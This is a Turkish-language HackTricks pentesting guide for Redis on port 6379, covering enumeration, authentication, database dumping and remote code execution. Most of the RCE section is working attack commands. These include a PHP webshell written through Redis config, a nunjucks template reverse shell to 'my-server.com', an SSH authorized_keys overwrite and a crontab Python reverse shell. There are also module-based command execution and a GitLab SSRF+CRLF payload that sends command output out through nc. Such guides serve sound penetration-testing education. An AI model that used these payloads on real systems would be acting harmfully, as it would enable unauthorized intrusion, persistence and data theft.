6379 - Pentesting Redis

Reading time: 11 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

From the docs: Redis, bir veri yapısı deposu olarak kullanılan, açık kaynaklı (BSD lisanslı), bellek içi bir veritabanı, önbellek ve mesaj aracıdır.

Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak ssl/tls uygulayabileceğini de unutmamalısınız. Redis'i ssl/tls ile çalıştırmayı burada öğrenin.

Varsayılan port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Otomatik Sayım

Redis örneğinden bilgi elde etmeye yardımcı olabilecek bazı otomatik araçlar:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manuel Sayım

Afiş

Redis, metin tabanlı bir protokoldür, sadece bir soket üzerinden komutu gönderebilir ve dönen değerler okunabilir olacaktır. Ayrıca, Redis'in ssl/tls kullanarak çalışabileceğini unutmayın (ama bu çok garip).

Normal bir Redis örneğinde, nc kullanarak bağlanabilir veya redis-cli de kullanabilirsiniz:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

İlk komut olarak info komutunu deneyebilirsiniz. Bu, Redis örneği hakkında veya aşağıdakine benzer bir şey ile bilgi içeren bir çıktı döndürebilir:

-NOAUTH Authentication required.

Bu son durumda, bu geçerli kimlik bilgilerine ihtiyacınız var Redis örneğine erişmek için.

Redis Kimlik Doğrulaması

Varsayılan olarak Redis, kimlik bilgileri olmadan erişilebilir. Ancak, yalnızca şifre veya kullanıcı adı + şifre destekleyecek şekilde yapılandırılabilir.
redis.conf dosyasında requirepass parametresi ile bir şifre ayarlamak mümkündür veya geçici olarak hizmet yeniden başlatılana kadar ona bağlanarak ve çalıştırarak: config set requirepass p@ss$12E45.
Ayrıca, redis.conf dosyasında masteruser parametresi ile bir kullanıcı adı yapılandırılabilir.

note

Yalnızca şifre yapılandırılmışsa, kullanılan kullanıcı adı "default"dır.
Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını dışarıdan bulmanın bir yolu yoktur.

Bu tür durumlarda, Redis ile etkileşimde bulunmak için geçerli kimlik bilgilerini bulmanız gerekecek, bu nedenle brute-force denemeyi düşünebilirsiniz.
Geçerli kimlik bilgilerini bulduysanız, bağlantıyı kurduktan sonra oturumu kimlik doğrulamanız gerekir komut ile:

bash
AUTH <username> <password>

Geçerli kimlik bilgileri ile yanıt verilecektir: +OK

Kimlik doğrulama ile numaralandırma

Eğer Redis sunucusu anonim bağlantılara izin veriyorsa veya geçerli kimlik bilgilerini elde ettiyseniz, hizmet için numaralandırma sürecini başlatmak için aşağıdaki komutları kullanabilirsiniz:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Diğer Redis komutları burada bulunabilir ve burada.

Bir örnek olarak, bir örneğin Redis komutları yeniden adlandırılabilir veya redis.conf dosyasında kaldırılabilir. Örneğin, bu satır FLUSHDB komutunu kaldıracaktır:

rename-command FLUSHDB ""

Daha fazla bilgi için Redis hizmetini güvenli bir şekilde yapılandırma hakkında buraya bakın: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Ayrıca monitor komutunu kullanarak Redis komutlarını gerçek zamanlı olarak izleyebilir veya slowlog get 25 ile en yavaş 25 sorguyu alabilirsiniz.

Daha fazla ilginç bilgi için daha fazla Redis komutu hakkında buraya bakın: https://lzone.de/cheat-sheet/Redis

Veritabanını Dökme

Redis içinde veritabanları 0'dan başlayan sayılardır. info komutunun çıktısında "Keyspace" bölümünde herhangi birinin kullanılıp kullanılmadığını bulabilirsiniz:

Ya da tüm anahtar alanlarını (veritabanlarını) şu şekilde alabilirsiniz:

INFO keyspace

Bu örnekte veritabanı 0 ve 1 kullanılıyor. Veritabanı 0, 4 anahtar içeriyor ve veritabanı 1, 1 anahtar içeriyor. Varsayılan olarak Redis veritabanı 0'ı kullanır. Örneğin veritabanı 1'i dökmek için şunu yapmanız gerekir:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

GET <KEY> komutunu çalıştırırken -WRONGTYPE Operation against a key holding the wrong kind of value hatası alırsanız, bu anahtarın bir dize veya tam sayıdan farklı bir şey olabileceği ve görüntülemek için özel bir operatör gerektirdiği anlamına gelir.

Anahtarın türünü öğrenmek için TYPE komutunu kullanın, aşağıda liste ve hash anahtarları için bir örnek verilmiştir.

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Veritabanını npm ile dökün redis-dump veya python redis-utils

Redis RCE

Etkileşimli Shell

redis-rogue-server, Redis(<=5.0.5) içinde otomatik olarak etkileşimli bir shell veya ters shell alabilir.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. Web sitesi klasörü'nün yolunu bilmelisiniz:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Eğer webshell erişim istisnası varsa, yedek aldıktan sonra veritabanını boşaltabilir ve tekrar deneyebilirsiniz, veritabanını geri yüklemeyi unutmayın.

Şablon Webshell

Önceki bölümde olduğu gibi, bir şablon motoru tarafından yorumlanacak bazı html şablon dosyalarını da üzerine yazabilir ve bir shell elde edebilirsiniz.

Örneğin, bu yazıda saldırganın nunjucks şablon motoru tarafından yorumlanan bir html içine rev shell enjekte ettiğini görebilirsiniz:

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

Şunu unutmayın ki birçok şablon motoru şablonları bellekte önbelleğe alır, bu nedenle onları üzerine yazsanız bile, yenisi çalıştırılmayacaktır. Bu durumlarda, ya geliştirici otomatik yeniden yüklemeyi aktif bırakmıştır ya da hizmet üzerinde bir DoS gerçekleştirmeniz gerekir (ve otomatik olarak yeniden başlatılmasını beklemelisiniz).

SSH

Örnek buradan

Lütfen config get dir sonucunun diğer manuel istismar komutlarından sonra değiştirilebileceğini unutmayın. Bunu, Redis'e giriş yaptıktan hemen sonra ilk olarak çalıştırmanızı öneririm. config get dir çıktısında redis kullanıcısının ev dizinini bulabilirsiniz (genellikle /var/lib/redis veya /home/redis/.ssh), ve bunu bilerek authenticated_users dosyasını ssh redis kullanıcısı ile erişmek için nereye yazabileceğinizi bilirsiniz. Yazma izinlerinizin olduğu başka geçerli bir kullanıcının ev dizinini biliyorsanız, bunu da kötüye kullanabilirsiniz:

  1. Bilgisayarınızda bir ssh public-private anahtar çifti oluşturun: ssh-keygen -t rsa
  2. Public anahtarı bir dosyaya yazın: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Dosyayı redis'e aktarın: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Public anahtarı redis sunucusundaki authorized_keys dosyasına kaydedin:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Son olarak, özel anahtar ile redis sunucusuna ssh yapabilirsiniz: ssh -i id_rsa redis@10.85.0.52

Bu teknik burada otomatikleştirilmiştir: https://github.com/Avinash-acid/Redis-Server-Exploit

Ayrıca, sistem kullanıcıları config set dir /home/USER ile kontrol edilerek keşfedilebilir ve onaylandıktan sonra yeni bir authorized_keys dosyası /home/USER/.ssh/authorized_keys içine yazılabilir. Bunu bir kullanıcı adı kelime listesi ile brute force yapmak ve authorized_keys dosyasını üzerine yazmak için redis-rce-ssh kullanın.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Son örnek Ubuntu içindir, Centos için yukarıdaki komut şöyle olmalıdır: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir :yam

Redis Modülünü Yükle

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand adresinden talimatları izleyerek rastgele komutları çalıştırmak için bir redis modülü derleyebilirsiniz.
  2. Ardından, derlenmiş modülü yüklemek için bir yol bulmanız gerekir.
  3. MODULE LOAD /path/to/mymodule.so ile çalışma zamanında yüklenen modülü yükleyin.
  4. Doğru bir şekilde yüklenip yüklenmediğini kontrol etmek için yüklenen modülleri listeleyin: MODULE LIST
  5. Komutları çalıştırın:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. İstediğiniz zaman modülü boşaltın: MODULE UNLOAD mymodule

LUA sandbox bypass

Burada Redis'in EVAL komutunu Lua kodunu sandbox içinde çalıştırmak için kullandığını görebilirsiniz. Bağlantılı yazıda dofile fonksiyonunu kullanarak bunu nasıl kötüye kullanacağınızı görebilirsiniz, ancak görünüşe göre bu artık mümkün değil. Yine de, Lua sandbox'ını aşabilirseniz, sistemde rastgele komutlar çalıştırabilirsiniz. Ayrıca, aynı yazıdan bazı DoS neden olma seçeneklerini görebilirsiniz.

LUA'dan kaçış için bazı CVE'ler:

Master-Slave Modülü

​Master redis'teki tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zayıf redis'i bir slave redis olarak değerlendirebileceğimiz anlamına gelir; bu, kendi kontrolümüzdeki master redis'e bağlıdır, ardından kendi redis'imize komut girebiliriz.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF Redis ile İletişim

Eğer Redis'e düz metin isteği gönderebiliyorsanız, onunla iletişim kurabilirsiniz çünkü Redis isteği satır satır okuyacak ve anlamadığı satırlara sadece hatalarla yanıt verecektir:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Bu nedenle, bir web sitesinde bir SSRF vuln bulursanız ve bazı headers'ı (belki bir CRLF vuln ile) veya POST parametrelerini kontrol edebiliyorsanız, Redis'e keyfi komutlar gönderebilirsiniz.

Örnek: Gitlab SSRF + CRLF ile Shell

Gitlab11.4.7'de bir SSRF açığı ve bir CRLF keşfedildi. SSRF açığı, yeni bir proje oluştururken URL'den proje içe aktarma işlevselliği içinde bulunuyordu ve [0:0:0:0:0:ffff:127.0.0.1] biçiminde keyfi IP'lere erişime izin veriyordu (bu, 127.0.0.1'e erişecektir) ve CRLF vuln, URL'ye sadece %0D%0A karakterleri ekleyerek istismar edildi.

Bu nedenle, bu açıkları kullanarak Redis örneğiyle iletişim kurmak ve gitlab'dan kuyrukları yönetmek için bu kuyrukları istismar etmek mümkündü ve kod yürütme elde etmek için bu kuyrukları istismar etmek mümkündü. Redis kuyruk istismar yükü şudur:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Ve URL encode isteği SSRF ve CRLF kullanarak bir whoami çalıştırmak ve çıktıyı nc aracılığıyla geri göndermek için:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Bir sebepten dolayı (bu bilginin alındığı https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ yazarına göre) istismar git şeması ile çalıştı ve http şeması ile çalışmadı.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin